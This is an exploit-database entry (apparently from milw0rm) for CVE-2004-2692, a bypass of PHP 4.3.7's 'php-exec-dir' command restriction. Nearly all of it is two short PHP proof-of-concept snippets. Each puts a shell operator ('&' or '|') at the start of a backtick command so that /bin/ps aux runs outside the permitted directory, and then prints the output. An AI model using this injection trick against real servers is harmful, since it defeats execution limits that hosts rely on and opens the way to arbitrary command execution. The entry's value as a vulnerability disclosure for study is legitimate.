PHP 4.3.7 - 'php-exec-dir' Patch Command Access Restriction Bypass



EKU-ID: 8667 CVE: OSVDB-7243;CVE-2004-2692 OSVDB-ID:
Author: VeNoMouS Published: 2004-08-08 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


<?php
$blah = `& /bin/ps aux`;
echo nl2br($blah);
?>

<?php
$blah = `| /bin/ps aux`;
echo nl2br($blah);
?>


# milw0rm.com [2004-08-08]